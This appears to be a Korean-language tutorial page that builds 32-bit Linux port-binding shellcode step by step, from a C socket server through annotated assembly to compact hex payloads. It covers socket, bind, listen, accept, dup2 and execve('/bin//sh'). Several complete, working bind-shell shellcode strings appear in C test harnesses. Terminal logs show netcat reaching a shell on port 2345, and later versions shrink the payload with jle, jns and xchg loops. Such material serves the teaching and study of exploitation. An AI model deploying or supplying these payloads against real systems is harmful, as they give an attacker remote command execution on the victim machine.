Excuse the ads! We need some help to keep our site up.
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int server_sockfd, client_sockfd; struct sockaddr_in server_addr, client_addr; socklen_t client_addr_size; server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); server_addr.sin_family = AF_INET; // IPv4 인터넷 프로토롤 server_addr.sin_port = htons(2345); // 사용할 port 번호는 2345 server_addr.sin_addr.s_addr = INADDR_ANY; // 32bit IPV4 주소 bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)); listen(server_sockfd, 4); client_addr_size = sizeof(struct sockaddr_in); client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size); } |
네트워크 관련 함수를 호출하기 위해 "__NR_socketcall" System call을 사용합니다.
lazenca0x0@ubuntu:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep socketcall #define __NR_socketcall 102 lazenca0x0@ubuntu:~$ |
socketcall 시스템 함수는 다음과 같은 형태를 가집니다.
첫번째 인자에는 호출할 네트워크 함수의 콜 번호를 전달 합니다.
두번째 인자에는 호출한 네크워크 함수의 인자 값들이 저장된 인자 배열의 주소 값을 전달합니다.
int socketcall(int call, unsigned long *args); |
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ #define SYS_ACCEPT4 18 /* sys_accept4(2) */ #define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */ #define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */ |
|
lazenca0x0@ubuntu:~$ cat /usr/include/linux/in.h | grep IPPROTO_IP IPPROTO_IP = 0, /* Dummy protocol for TCP */ #define IPPROTO_IP IPPROTO_IP IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */ #define IPPROTO_IPIP IPPROTO_IPIP IPPROTO_IPV6 = 41, /* IPv6-in-IPv4 tunnelling */ #define IPPROTO_IPV6 IPPROTO_IPV6 lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket_type.h |grep SOCK_STREAM SOCK_STREAM = 1, /* Sequenced, reliable, connection-based #define SOCK_STREAM SOCK_STREAM lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket.h |grep PF_INET #define PF_INET 2 /* IP protocol family. */ #define PF_INET6 10 /* IP version 6. */ #define AF_INET PF_INET #define AF_INET6 PF_INET6 lazenca0x0@ubuntu:~$ |
다른 장에서 설명한 내용을 바탕으로 아래 코드를 작성 할 수 있습니다.
함수 호출 후 리턴되는 값 들은 EAX 레지스터에 저장됩니다.
해당 코드에서 Client socket 정보를 사용하지 않을 것이기 때문에 accept() 함수에 전달되는 client_addr, client_addr_size의 값은 Null(0)으로 전달합니다.
Port 번호는 Stack에 저장 할 때 Little-endian format으로 저장해야 합니다.
2345 -> 0x0929 -> 0x2909
BITS 32 ;socket(AF_INET, SOCK_STREAM, IPPROTO_IP); push BYTE 102 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. cdq ; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다. push dword 1 ; socket 함수의 호출 번호 1을 Stack에 저장합니다. pop ebx ; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다. ;두번째 인자에 전달할 인자 배열을 생성 push edx ; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다. push BYTE 1 ; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다. push BYTE 2 ; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다. int 0x80 ;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); mov esi,eax ; 소켓 함수로 부터 리턴받은 값을 ESI 레지스터에 저장합니다. ;bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)); push BYTE 0x66 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. inc ebx ; EBX 레지스터에 1이 저장되어 있으며, INC 명령어를 이용해 2로 변경합니다. ; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_BIND(2)를 저장하게 됩니다. ;struct sockaddr_in server_addr push edx ; server_addr.sin_family = AF_INET; push WORD 0x2909 ; server_addr.sin_port = htons(2345); push WORD bx ; server_addr.sin_addr.s_addr = INADDR_ANY; ;인자에 전달된 값을 저장 mov ecx,esp ; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다. push BYTE 16 ; bind() 함수의 3번째 인자 값 16을 Stack에 저장합니다. push ecx ; bind() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다. push esi ; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ;listen(server_sockfd, 4) mov BYTE al,0x66 ; inc ebx inc ebx ; EBX 레지스터에 2가 저장되어 있기 때문에 inc 명령어를 2번 호출하여 4로 변경합니다. ; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_LISTEN(4)를 저장하게 됩니다. push ebx ; listen() 함수의 2번째 인자 값 4를 Stack에 저장합니다. push esi ; listen() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ;accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size) ;c = accept(s,0,0) mov BYTE al, 0x66 ; inc ebx ; socketcall() 함수의 1번째 인자 값으로 SYS_ACCEPT(5)를 저장하게 됩니다. push edx ; bind() 함수의 3번째 인자 값 0을 Stack에 저장합니다. push edx ; bind() 함수의 2번째 인자 값 Null을 Stack에 저장합니다. push esi ; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ; |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x09\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o pb -z execstack -m32 pb.c lazenca0x0@ubuntu:~/Shell$ ./pb & [1] 64826 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 59 lazenca0x0@ubuntu:~/Shell$ netstat -ntlp |grep pb (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 64826/pb lazenca0x0@ubuntu:~/Shell$ |
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ ... client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size); dup2(client_sockfd, 0); dup2(client_sockfd, 1); dup2(client_sockfd, 2); char *argv[] = { "/bin/sh", NULL}; execve( "/bin/sh", argv, NULL ); } |
int dup2 (int oldfd , int newfd ); |
lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep dup2 #define __NR_dup2 63 lazenca0x0@ubuntu:~/Shell$ |
BITS 32 ;s = socket(2,1,0) ;bind(s, [2, 31337, 0], 16) ;listen(s, 0) ;c = accept(s,0,0) ...코드 생략... ;dup2(client_sockfd, 0) mov ebx, eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. push BYTE 0x3F ; socketcall의 시스템 콜 번호 63를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. xor ecx, ecx ; dup2() 함수의 2번째 인자 값을 표준입력(0)으로 변경합니다. int 0x80 ; ;dup2(client_sockfd, 1) mov BYTE al, 0x3F ; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다. inc ecx ; dup2() 함수의 2번째 인자 값을 표준출력(1)으로 변경합니다. int 0x80 ; ;dup2(client_sockfd, 2) mov BYTE al, 0x3F ; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다. inc ecx ; dup2() 함수의 2번째 인자 값을 표준에러(2)으로 변경합니다. int 0x80 ; ;execve( "/bin/sh", argv, NULL ); mov BYTE al, 11 ; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다. push edx ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 Stack에 저장합니다. Little-endian push 0x6e69622f ; 문자 "/bin"를 Stack에 저장합니다. Little-endian mov ebx, esp ; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다. push edx ; Stack에 Null을 저장합니다. mov edx, esp ; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다. push ebx ; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다. mov ecx, esp ; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh",Null],[Null])를 저장합니다. int 0x80 ; |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6A\x66\x58\x99\x6A\x01\x5b\x52\x6A\x01\x6A\x02\x89\xe1\xcd\x80\x89\xc6\x6A\x66\x58\x43\x52\x66\x68\x09\x29\x66\x53\x89\xe1\x6A\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o portbindsh -z execstack -m32 portbindsh.c lazenca0x0@ubuntu:~/Shell$ ./portbindsh & [1] 65488 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 101 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./portbindsh lazenca0x0@ubuntu:~/Shell$ |
|
for(int i=0;i <= 2;i++){ dup2(client_sockfd,i) } |
CMP, JLE 명령어를 이용해 C language와 동일한 반복문을 구현합니다.
;dup2(connected socket,{all three standard I/O file descriptors}) mov ebx,eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. xor eax, eax ; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호) xor ecx, ecx ; ECX 레지스터를 0으로 초기화 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; inc ecx ; dup2 함수의 2번째 인자값을 증가(+1) 시킵니다. cmp BYTE cl, 2 ; dup2 함수의 2번째 인자값과 2 를 비교합니다. jle dup2_call ; dup2 함수의 2번째 인자값이 2 보다 작거나 같으면 dup2_call로 점프 합니다. |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x2\x7e\xf6\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o jle -z execstack -m32 jle.c lazenca0x0@ubuntu:~/Shell$ ./jle & [1] 65593 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 98 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./jle lazenca0x0@ubuntu:~/Shell$ |
|
|
|
for(int i=2;i < 0;i--){ dup2(client_sockfd,i) } |
;dup2(connected socket,{all three standard I/O file descriptors}) mov ebx,eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. xor eax, eax ; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호) push BYTE 0x2 ; Stack에 2 저장합니다. pop ecx ; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; dec ecx ; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다. jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다. |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o jns -fno-stack-protector -z execstack --no-pie -m32 jns.c lazenca0x0@ubuntu:~/Shell$ ./jns & [1] 65763 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 96 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./jns lazenca0x0@ubuntu:~/Shell$ |
xchg <Dest operand>, <Src operand> |
mov eax, 2 mov edx, 3 xchg eax, edx |
|
;dup2(connected socket,{all three standard I/O file descriptors} xchg eax,ebx ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해 파일 디스크립터(0x00000005)를 EAX 레지스터에 저장합니다. push BYTE 0x2 ; Stack에 2 저장합니다. pop ecx ; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; dec ecx ; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다. jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다. |
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
lazenca0x0@ubuntu:~/Shell$ gcc -o xchg -fno-stack-protector -z execstack --no-pie -m32 xchg.c lazenca0x0@ubuntu:~/Shell$ ./xchg & [1] 65793 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 93 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./xchg lazenca0x0@ubuntu:~/Shell$ |